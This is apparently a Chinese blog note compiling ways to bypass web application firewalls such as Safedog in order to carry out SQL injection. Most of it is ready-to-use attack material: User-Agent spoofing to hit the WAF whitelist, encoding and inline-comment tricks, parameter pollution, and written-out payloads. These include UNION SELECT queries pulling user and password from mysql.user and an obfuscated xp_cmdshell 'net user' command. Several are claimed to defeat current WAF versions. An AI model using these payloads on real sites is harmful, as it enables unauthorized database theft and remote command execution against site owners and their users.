参考:绕过WAF、安全狗知识整理 - 珍惜少年时 - 博客园
SQL注入 | 9种绕过Web应用程序防火墙的方式 - FreeBuf互联网安全新媒体平台
目前市场上的WAF主要有以下几类
1. 以安全狗为代表的基于软件WAF
2. 百度加速乐、安全宝等部署在云端的WAF
3. 硬件WAF
WAF的检测主要有三个阶段,我画了一张图进行说明
WAF身份认证阶段的绕过
WAF是有一个白名单的,在白名单内的客户请求将不做检测
早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击。
WAF数据包解析阶段的绕过
(1)编码绕过
urlencode(早期方法 不一定有用)
Hex encode
target.com/index.php?page_id=-15/*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Unicode encode
?id=10%D6‘%20AND%201=2%23 SELECT'Ä'='A';#1
(2)修改请求方式绕过
我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
(3)复参数绕过
通过提供多个参数=相同名称的值集来混淆WAF。例如http://example.com?id=1&?id=’or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。
例如一个请求是这样的
GET /pen/news.PHP?id=1 union select user,password fromMySQL.user
可以修改为
GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版安全狗能绕过部分语句
WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。
(1)特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格
(2)特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
比如
GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可改为
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
(3)注释包含关键字
在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的安全狗可以完美绕过
GET /pen/news.php?id=1 union selectuser,password frommysql.user
改为
GET /pen/news.php?id=1 /*!union*//*!select*/user,password /*!from*/mysql.user
(4)某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。
hex()、bin() ==>ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat() substr((select'password'),1,1) =0x70
strcmp(left('password',1),0x69) =1
strcmp(left('password',1),0x70) =0
strcmp(left('password',1),0x71) =-1
mid()、substr() ==>substring()
@@user ==>user()
@@datadir ==>datadir()
网友评论